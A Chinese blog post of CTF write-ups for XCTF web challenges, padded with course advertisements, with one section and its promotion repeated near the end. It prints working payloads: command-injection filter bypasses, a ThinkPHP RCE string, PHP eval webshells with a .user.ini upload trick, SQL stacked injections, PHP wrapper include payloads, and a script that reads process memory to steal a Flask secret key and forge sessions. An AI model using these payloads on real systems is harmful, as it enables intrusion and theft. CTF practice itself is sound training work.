当前位置:首页 » 《关于电脑》 » 正文

2024年网络安全最新CTF_WP-攻防世界web题解(1),2024年最新这原因我服了

11 人参与  2024年05月25日 16:01  分类 : 《关于电脑》  评论

点击全文阅读


给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网络安全面试题

绿盟护网行动

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

查看flag_1s_here

$args=array('ca""t${IFS}f""lag\_1s\_here');

image-20240323141906135

image-20240323141958247

没结果?这不是个文件吗?文件夹?

ls -l查看详细信息

**注意!**这两种得到的结果不一样

$args=array('l""s${IFS}-l');$args=array("l''s${IFS}-l"); O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:6:"l''s-l";}}//外边是双引号的时候${IFS}被当成了变量跳过了
使用$args=array('l""s${IFS}-l');查看

image-20240323142615384

image-20240323142519871

ls -l
array(3) {  [0]=>  string(7) "total 8"  [1]=>  string(53) "drwxr-xr-x 1 root root 4096 Mar 23 05:14 flag_1s_here"  [2]=>  string(50) "-rwxr-xr-x 1 root root  863 Aug 18  2022 index.php"}说明:total 8:这是 ls -l 命令的默认输出中的一部分,它显示了目录中所有文件的总计大小。这一行并不表示实际的文件或目录。drwxr-xr-x 1 root root 4096 Dec 17 13:04 flag_1s_here:这是目录中一个子目录的信息。具体解释如下:drwxr-xr-x:这是文件权限的表示,d 表示这是一个目录,后面的权限分别表示文件所有者、文件所属组和其他用户的权限。1:这是链接计数,表示目录中包含的链接数。root root:这是文件的所有者和所属组。4096:这是文件的大小(以字节为单位),对于目录来说,它显示为 4096。Dec 17 13:04:这是文件的最后修改时间。-rwxr-xr-x 1 root root 863 Aug 18 07:49 index.php:这是目录中一个文件的信息。具体解释如下:-rwxr-xr-x:这是文件权限的表示,- 表示这是一个普通文件,后面的权限分别表示文件所有者、文件所属组和其他用户的权限。1:这是链接计数,表示文件的硬链接数。root root:这是文件的所有者和所属组。863:这是文件的大小(以字节为单位)。Aug 18 07:49:这是文件的最后修改时间。

继续ls查看flag_1s_here:

$args=array('l""s${IFS}f""lag\_1s\_here');

image-20240323142903804

image-20240323142928244

查看flag_831b69012c67b35f.php:

image-20240323143240936

直接访问没有任何信息,应该需要看源码

printf绕过
printf绕过printf 同时可以识别八进制表示或十六进制表示的字符串printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出\NNN 八进制数 NNN 所代表的 ASCII 码字符。\xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。\uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。\UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位那么 printf${IFS}"\57" 表示把 / 给输出出来 绕过waf检查

构造如下payloud

$args=array('ca""t${IFS}f""lag\_1s\_here$(printf${IFS}"\57")f""lag\_831b69012c67b35f.p""hp');

代码如下

<?phpclass ease{        private $method;    private $args;    function \_\_construct($method, $args) {        $this->method = $method;        $this->args = $args;    }     function \_\_wakeup(){        foreach($this->args as $k => $v) {            $this->args[$k] = $this->waf($v);        }    }   }$args=array('ca""t${IFS}f""lag\_1s\_here$(printf${IFS}"\57")f""lag\_831b69012c67b35f.p""hp');$a=new ease("ping",$args);$b=serialize($a);print($b."\n");$data=base64\_encode($b);echo $data;?>

image-20240323144143183

image-20240323144201080

image-20240323144441765

至此,已成艺术

绕过绕过绕过

总结:$命令替换、ls -l、waf绕过、空格绕过、printf绕过

参考:https://www.cnblogs.com/gradyblog/p/16989750.html

web2

image-20240317200746338

image-20240317200757080

对encode逆向解密miwen应该就是flag

<?phpfunction decode($str) {    // ROT13 解密    $str = str\_rot13($str);        // 反转字符串    $str = strrev($str);        // Base64 解码    $str = base64\_decode($str);        // 字符替换,将每个字符的 ASCII 值减 1    $decoded = '';    for ($i = 0; $i < strlen($str); $i++) {        $decoded .= chr(ord(substr($str, $i, 1)) - 1);    }    //再次反转    $decoded = strrev($decoded);        return $decoded;}// 加密字符串$miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";// 解密加密字符串$plaintext = decode($miwen);// 输出解密结果echo $plaintext;?>

使用phpstudy,将文件放在WWW根目录下,浏览器访问即可

总结:解密

warmup

image-20240317203250603

image-20240317203309122

查看源码

image-20240317203321893

提示source.php

image-20240317203350469

并且还提到了一个hint.php,查看

image-20240317203435226

提示flag在这个里面

先看前面的源码source.php

request接收参数file,判断是否为空、是否是string、checkfile如果满足,则包含file否则打印滑稽

所以应该是要把ffffllllaaaagggg文件包含进file,关键就是怎么绕过checkfile

接下看重点看checkfile函数,白名单被写死,return true的情况只有三种

file在白名单中在file末尾加了个?,?前的部分在白名单中先将file进行url解码,然后同2

这里的file就是参数page,加?的目的应该是通过添加的?找到末尾坐标,但是正是这多此一举给了可趁之机,只需要先发制人,提前在file中加一个?,就可以让它解析错误,截取我们自己添加的?前面的部分

因此payload可以是hint.php?..ffffllllaaaagggg

但是由于ffffllllaaaagggg的路径不清楚,只能一个一个试,不停添加…/

最终拿到flag

image-20240317211145382

里面还有一个重点,就是在include ‘file’的时候,file是string类型的,然后从file中解析文件路径,因此才可以从hint.php?..ffffllllaaaagggg这种格式中解析出正确的ffffllllaaaagggg路径

image-20240317211538762

总结:php代码审计,绕过check

upload1

image-20240318115340599

image-20240318115359317

尝试上传任意txt文件,结果

image-20240318115510626

选择一张图片上传

image-20240318115722412

查看源码

image-20240318120923392

发现前端对文件名过滤

使用burpsuit抓包发送php文件

image-20240318121008012

成功上传,蚁剑连接

image-20240318121056581

image-20240318121144124

image-20240318121200477

总结:文件上传漏洞

NewsCenter

image-20240318121719666

image-20240318121749359

观察题目,只有一个search输入框可以挖掘漏洞,初步判断sql注入。

但是一旦输入单引号,服务器就崩

image-20240318122151762

image-20240318122137900

使用burpsuit抓包

image-20240318122339459

直接上万能密码,成功回显所有news,说明的确是sql注入

image-20240318122425596

先判断select列数,3

image-20240318122547366

image-20240318122636509

没有过滤,并且回显2,3。应该就是一道简单的注入题

image-20240318122850358

image-20240318123001425

image-20240318123116373

总结:sql注入

Web_php_unserialize

image-20240318123714216

image-20240318125221177

补充:正则表达式规则

以下是一些常用的正则表达式元字符和规则:

普通字符:这些字符直接匹配其自身。例如,字母 a 将匹配字符串中的字母 a元字符:具有特殊含义的字符,例如 ^$.*+? 等。这些元字符用于构建更复杂的匹配模式。字符类:用方括号 [] 表示,匹配其中任意一个字符。例如,[abc] 匹配字符 abc 中的任意一个。字符范围:在字符类中使用连字符 - 可以表示字符范围。例如,[a-z] 匹配任意小写字母,[0-9] 匹配任意数字。量词:用于指定匹配重复次数的数量。常见的量词包括 *(零次或多次)、+(一次或多次)、?(零次或一次)、{n}(恰好 n 次)、{n,}(至少 n 次)、{n,m}(至少 n 次,至多 m 次)。定位符:用于匹配字符串的边界,包括 ^(匹配字符串的起始位置)、$(匹配字符串的结尾位置)、\b(匹配单词边界)等。转义字符:用反斜杠 \ 来转义特殊字符,使其具有普通字符的含义。例如,\. 匹配实际的点号字符,而不是元字符 .分组和捕获:使用圆括号 () 可以将一部分正则表达式组合成子表达式,并将其作为一个整体进行匹配。这还允许在匹配期间捕获子表达式的内容,以便稍后引用。反向引用:在正则表达式中,可以使用 \n(其中 n 是一个数字)来引用捕获的子表达式的内容。修饰符:在正则表达式的结束符号后,可以添加修饰符以改变匹配行为。常见的修饰符包括 i(不区分大小写)、g(全局匹配)、m(多行匹配)等。

那么这道题,这个正则表达式模式 /[oc]:\d+:/i 匹配的规则如下:

[oc]::匹配一个字符,可以是 oc 中的任意一个字符。方括号 [...] 表示字符集,里面的字符可以任意选择其中一个。: 表示匹配实际的冒号字符。\d+:匹配一个或多个数字字符。\d 是一个特殊的元字符,表示匹配任意数字字符,+ 表示匹配前面的内容至少一次。因此,\d+ 表示匹配一个或多个连续的数字。::匹配实际的冒号字符。

综合起来,这个正则表达式模式匹配的字符串形式为 [o|c]:数字+:,其中 oc 是字符集 [oc] 中的一个字符,后面跟着一个或多个数字,最后再跟着一个冒号 :

这种模式通常用于匹配序列化字符串中的自定义对象引用标识符,因为这种标识符通常以 oc 开头,后面跟着一些数字,然后再跟着一个冒号。如:o:5:

函数绕过
将传的参数进行base64编码,绕过base64_decode函数在反序列化串的O:前加个加号“+”,绕过preg_match函数修改反序列化串的对象属性个数(一般大于原个数),绕过wakeup函数

脚本代码:

<?php class Demo {     private $file = 'fl4g.php';}$a=new Demo();$b=serialize($a);echo $b;$b=str\_replace('O:4','O:+4',$b);$b=str\_replace(':1:',':2:',$b);$b=base64\_encode($b);echo $b;?>

运行得到var

image-20240318184416720

把var加到url后面得到flag

image-20240318184443662

总结:php反序列化漏洞,绕过

php_rce

image-20240318184604605

image-20240318184613498

thinkphp框架,没思路,看网上题解,这个框架是有漏洞的,上网搜索thinkphp漏洞,得知漏洞大致分两个版本

image-20240318192602335

这个是5.0版本的,尝试在url中添加途中payload,果然可以,使用这个就可以拿到shell

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

ls查看目录

image-20240318192758123

一级一级查看有没有flag

最终发现一个flag文件

image-20240318192846480

cat查看文件

image-20240318192859938

总结:thinkphp框架漏洞,根据信息网上查找

command_execution

image-20240318193045499

image-20240318194317639

image-20240318213111291

发现可能是简单的把命令拼接起来,尝试注入多条命令

image-20240318213205660

接下来就是寻找flag的路径

image-20240318213248298

总结:命令拼接

catcat-new

image-20240318221859442

image-20240318221919710

image-20240318224845594

点进一张图之后,观察url,猜测可能是sql注入

尝试各种注入,不可行,根据返回信息猜测可能是任意文件读取漏洞

image-20240318225014075

尝试读取/etc/passwd文件,果然可以

image-20240318225204075

关于ctf常用的Linux文件路径:http://t.csdnimg.cn/Mi7J3

这道题可以从这入手,全部试一边看看,加深记忆
image-20240319131156968

image-20240319131130868

通过查看proc/self/cmdline发现执行当前程序的命令

image-20240319131538323

当前程序的源代码应该就在app.py中,查看app.py:

image-20240319131710771

代码如下:

import osimport uuidfrom flask import Flask, request, session, render_templatefrom cat import catflag = ""app = Flask(    __name__,    static_url_path='/',    static_folder='static')app.config['SECRET\_KEY'] = str(uuid.uuid4()).replace("-", "") + "\*abcdefgh"if os.path.isfile("/flag"):    flag = cat("/flag")    os.remove("/flag")@app.route('/', methods=['GET'])def index():    detailtxt = os.listdir('./details/')    cats_list = []    for i in detailtxt:        cats_list.append(i[:i.index('.')])            return render_template("index.html", cats_list=cats_list, cat=cat)@app.route('/info', methods=["GET", 'POST'])def info():    filename = "./details/" + request.args.get('file', "")    start = request.args.get('start', "0")    end = request.args.get('end', "0")    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]        return render_template("detail.html", catname=name, info=cat(filename, start, end))    @app.route('/admin', methods=["GET"])def admin\_can\_list\_root():    if session.get('admin') == 1:        return flag    else:        session['admin'] = 0        return "NoNoNo"if __name__ == '\_\_main\_\_':    app.run(host='0.0.0.0', debug=False, port=5637)

使用了flask框架,并且通过检查session的值来判断是否admin,那么可能需要伪造session

搜索flask框架漏洞,发现存在session漏洞:https://www.jianshu.com/p/56614e46093e

image-20240319142125285

伪造session参考:http://t.csdnimg.cn/xDmL2

从github上下载session加密解密脚本:https://links.jianshu.com/go?to=https%3A%2F%2Fgithub.com%2Fnoraj%2Fflask-session-cookie-manager

脚本使用方法:

image-20240319142629100

运行脚本发现缺少模块,使用pip安装,又报pip不是内部命令

先把pip目录D:\soft\python3.7.9\Scripts添加到系统环境变量path中

然后pip install安装响应模块

启动脚本

image-20240319142549770

接下来就是伪造session中admin的值为1,但是伪造需要先拿到secret_key

这道题的程序中,密钥是通过使用 uuid.uuid4() 函数生成了一个随机的 UUID(Universally Unique Identifier),然后通过 replace("-", "") 去掉了 UUID 中的破折号,最后再添加了一个固定的字符串 *abcdefgh。这样生成的字符串就作为了 Flask 应用程序的密钥。这种方法可以确保每次启动应用程序时都会生成一个不同的密钥,提高了安全性。因为 UUID 是按照特定算法生成的全局唯一标识符,所以可以保证生成的密钥是唯一的。

所以就要想办法找到uuid或者密钥

联想到刚才查到的Linux文件路径,proc/self/environ中可能存在密钥,先查看再说

image-20240319143832007

内容如下:

HOSTNAME=33f63d52abb8PYTHON_PIP_VERSION=21.2.4SHLVL=1HOME=/rootOLDPWD=/GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/3cb8888cc2869620f57d5d2da64da38f516078c7/public/get-pip.pyPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.12PYTHON_SETUPTOOLS_VERSION=57.5.0PWD=/appPYTHON_GET_PIP_SHA256=c518250e91a70d7b20cceb15272209a4ded2a0c263ae5776f129e0d9b5674309

没有发现

由于这个密钥是每次程序运行随机生成的,所以只有在内存中可以找到

/proc/[pid]/maps 可以查看进程的内存映射,当前进程[pid]换成self即可

image-20240319154404336

使用脚本从内存中寻找secret_key:

import requestsimport reurl='http://61.147.171.105:63081/'s_key=''map_list=requests.get(url+'info?file=../../proc/self/maps')map_list=map_list.text.split('\\n') #根据字符串"\n"进行分割for i in map_list:    map_addr=re.match(r"([a-z0-9]+)-([a-z0-9]+) rw",i) #正则匹配rw可读可写内存区域,()起到分组的作用    if map_addr:        start=int(map_addr.group(1),16)        end=int(map_addr.group(2),16)        print("found rw addr:",start,"-",end)        res=requests.get(f"{url}info?file=../../proc/self/mem&start={start}&end={end}")        if "\*abcdefgh" in res.text:            s_key_=re.findall("[a-z0-9]{32}\\*abcdefgh",res.text)            if s_key_:                print("find secret\_key:",s_key_[0])                s_key=s_key_[0]                break

image-20240319154202746

拿到密钥:05b0f6e17a7e4437af97f749cef1a5b5*abcdefgh

接下来伪造session

image-20240319155412618

拿到伪造session:eyJhZG1pbiI6MX0.ZflETw.2N1Cy_r_emRf9w8BRuf557N1q7I

注意,双引号包裹时里边不能再用双引号,要么\转义,要么使用单引号,这里踩坑

image-20240319155548069

burpsuit重新发送数据包拿到flag

image-20240319155349792

总结:任意文件读取漏洞 + python flask框架session伪造漏洞 + 内存中读取secretkey

Web_php_include

image-20240319220726610
image-20240319220737763

解法一:完全利用php伪协议

由于php://被过滤,使用data协议:data://text/plain,<?php phpinfo(); ?>

image-20240319221349898

首先查看目录

读取目录路径

image-20240319221608005

读取目录文件

image-20240319221700022

glob查看当前路径下所有目录文件

image-20240319222323398

highlight_file查看文件

image-20240319222553757
或者使用file_get_contents

image-20240319222724687

总结:php伪协议:data://text/plain
php伪协议input和data、php读取目录路径、读取目录文件、读取文件

这个是数据流;php://input是输入流,从post中输入

supersqli

image-20240320154542052

image-20240320154551124

可以注入,但是关键字被过滤

image-20240320155320252

尝试堆叠注入

查看数据库:show databases;

image-20240320155455114

查看表名:show tables;

image-20240320155628327

查看两个表的列名:

show columns from `words`;  show columns from `1919810931114514`;

注意:查询时字符串需要加反引号

image-20240320155850484

image-20240320160202950

最后一步就是查询字段内容

方法一:改表名
alter table `words` rename to `w`;alter table `1919810931114514` rename to `words`;

image-20240320161826075

这里是因为修改了表名之后没有words表了,不用管,继续修改flag字段名

alter table `words` change `flag` `id` VARCHAR(50);

好吧其实是需要管的,三个语句需要同时注入,否则第一次修改了表明之后,words不存在,后面就无法查询,直接报错,后续的注入就无法进行了。

image-20240320162741493
重启环境,重新注入

最后1’ or 1=1#直接显示所有数据

image-20240320163349171

方法二:预编译
';sEt @sql = CONCAT('se','lect \* from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#
总结:堆叠注入,修改表名、预编译

robots

image-20240320164520923
image-20240320164539271

直接查看robots.txt文件

image-20240320164609082

查看隐藏的文件

image-20240320164645262

总结:robots.txt

file_include

image-20240320164751380

image-20240320170112897

又是一道php伪协议,但是之前的input或者data都不管用了,三道题明明长得一模一样,却只能用不同的伪协议

b0b0b0aee983830959179eb06b230ac6
8661e1d7d0304710220d67e7dd34034a
5bad31f177192562bd6f5fdd83f82ef1
不理解,再次查找,发现不同协议的使用条件:https://www.cnblogs.com/Article-kelp/p/14581703.html

不同协议的使用条件

php://input  使用条件(这些设定在php.ini文件中设置):allow_url_fopen On/Off(均可) allow_url_include On

该协议获取数据包的消息正文的内容作为变量的值,官方定义如下:

img

data://  使用条件:(这些设定在php.ini文件中设置):allow_url_fopen On/Off(均可) allow_url_include On

该协议类似于php://input,区别在于data://获取的是协议固定结构后的内容,官方定义如下:

img
实际上除了data://text/plain;base64,这一用法之外还存在data://text/plain,这种用法,区别在于前者获取的是协议固定结构后所接内容的base64解密格式,而后者获取的是未被解密的格式。

php://filter  使用条件:(这些设定在php.ini文件中设置):allow_url_fopen On/Off(均可) allow_url_include On/Off(均可)

该协议多用来对文件处理,可以是读取时处理文件也可以是写入时处理文件,官方定义如下:

img
resource=  通常是本地文件的路径,绝对路径和相对路径均可以使用。

read=  读取时选取的处理方式,一次可以选择多个处理方式,不同方式之间用|符号隔开。

write=  写入时选取的处理方式,一次可以选择多个处理方式,不同方式之间用|符号隔开。

;  (技术水平过于有限并没理解其用途,也不曾遇到使用案例,故此处除开不讲)

关于read和write参数,其具体数值有(两者通用):

string.toupper 转换为大写

string.tolower 转换为小写

string.rot13 进行rot13加密

string.strip_tags 去除目标中含有的HTML、XML和PHP的标签(等同于strip_tags()函数)

convert.base64-encode 进行base64加密

convert.base64-decode 进行base64解密

file://  使用条件:(这些设定在php.ini文件中设置):allow_url_fopen On/Off(均可) allow_url_include On/Off(均可)

该协议用来访问服务端的本地文件,但是文件的协议固定结构后面的路径得是绝对路径(用相对路径则就不需要带上协议了),官方定义如下:

img
终于大概理解,继续这道题

使用filter读取check.php

?filename=php://filter/read=convert.base64-encode/resource=./check.php

结果得到

image-20240320184416081

应该是被过滤掉了,但至少说明这个伪协议可以用,只需要想办法绕过

能换掉的只有中间的read=convert.base64-encode部分,查找php可用的过滤器

convert.quoted-printable-encode也不行

把read去掉,过滤器换成php://filter/convert.iconv.utf-16le.utf-8/resource=./check.ph就有反应了,但是编码格式不对

image-20240320185745614

utf8和utf16顺序写反了,格式如下:convert.iconv…

image-20240320190428364

代码如下:

<?phpif ($\_GET["filename"]) {    $preg\_match\_username = 'return preg\_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $\_GET["filename"]);';    if (eval($preg\_match\_username)) {        die("do not hack!");    }}?>

到这一步没思路了,才想起来用dirbuster扫描文件,发现

image-20240320191102148

直接访问不可以

image-20240320191140438
那就还是通过伪协议
image-20240320191350318

总结:php://filter伪协议,过滤器绕过

fileclude

image-20240320224453411
image-20240320224503223

首先file2=php://input,然后在post参数传入hello ctf

file1=flag.php

成功回显

image-20240320224836190

说明input伪协议是可以用的

接下来使用filter来读取flag.php文件

file1=php://filter/read=convert.base64-encode/resource=flag.php

image-20240320230736612

base64解码

image-20240320230837457

总结:php伪协议

get_post

image-20240320231148706
image-20240320231128727

easyupload

经过尝试,只能上传图片文件,只修改jpg后缀没用,并且在图片文件中插入木马也没用,php被过滤掉了

上传正常图片文件,插入缩减版木马

<?= eval($\_POST[1]);?>

可以上传,但不能用蚁剑读取

image-20240323152643916

抓包发现,实际上是把文件内容读取进http数据包,并且Content-Type:为image/png

image-20240323152729463

查看题解,利用到.user.ini文件

.user.ini

.user.ini 是 PHP 中的一个配置文件,它允许用户在特定目录下自定义 PHP 的配置选项。这个文件可以包含各种 PHP 配置指令,用来覆盖全局的 PHP 配置。在一个 PHP 应用程序的目录中放置一个 user.ini 文件,可以让你在这个应用程序中自定义一些 PHP 的配置,而不会影响到其他应用程序或全局 PHP 配置。

.user.ini 文件只对其所在目录及其子目录中的 PHP 文件生效。

auto_prepend_file 是 PHP 的一个配置指令,用于指定在每个 PHP 文件执行之前自动包含(prepend)的文件。

利用.user.ini以及auto_prepend_file选项即可让同级目录的所有php运行前包含指定文件

因此只需要先上传.user.ini,再上传含有木马的指定文件,蚁剑连接同级目录的php即可破解

文件上传,修改报头

因为这道题设置了对文件头的检查,对文件名实际没有检查。因此需要在文件头部添加图片对应的头部格式如GIF89a、BM,各种图片文件头标识参考https://blog.csdn.net/xpplearnc/article/details/12950811

image-20240323163726116

并且不能直接上传,先抓包,修改content-type

image-20240323162836530

接下来先上传.user.ini,配置包含文件a.jpg

image-20240323160520538

然后上传a.jpg,但这个a.jpg并不是真的图片,而是加了文件头GIF89a的木马文件,修改后缀名为.jpg

image-20240323164113437

image-20240323164130257

php缩减版

但是因为本题对php进行了过滤,因此需要使用缩减版木马

<?=@eval($\_POST['flag']); ?>
蚁剑连接同级php文件

接下来就是蚁剑连接了,前说过,.user.ini只对同级目录或子目录下的php生效,因此还需要找到一个可用的php文件

upload的目录是

image-20240323164551968

可以直接尝试/uploads/index.php

或者使用dirbuster扫描

最终连接成功拿到flag
image-20240323161251754

总结:.user.ini、图片文件头标识、php缩减版

参考:https://www.cnblogs.com/miraclewolf/p/17589135.html

PHP2

image-20240321174656382

image-20240321174704312

抓包,啥也没有

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化资料的朋友,可以点击这里获取

<?=@eval($\_POST['flag']); ?>
蚁剑连接同级php文件

接下来就是蚁剑连接了,前说过,.user.ini只对同级目录或子目录下的php生效,因此还需要找到一个可用的php文件

upload的目录是

image-20240323164551968

可以直接尝试/uploads/index.php

或者使用dirbuster扫描

最终连接成功拿到flag
image-20240323161251754

总结:.user.ini、图片文件头标识、php缩减版

参考:https://www.cnblogs.com/miraclewolf/p/17589135.html

PHP2

image-20240321174656382

image-20240321174704312

抓包,啥也没有

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
[外链图片转存中…(img-BXoulaZA-1715051619488)]
[外链图片转存中…(img-Vv6tWUAM-1715051619489)]
[外链图片转存中…(img-nuHMk2fu-1715051619490)]
[外链图片转存中…(img-AiP5peQj-1715051619490)]
[外链图片转存中…(img-4dxqkBte-1715051619491)]
[外链图片转存中…(img-8E9KwxoP-1715051619491)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化资料的朋友,可以点击这里获取


点击全文阅读


本文链接:http://zhangshiyu.com/post/113473.html

<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1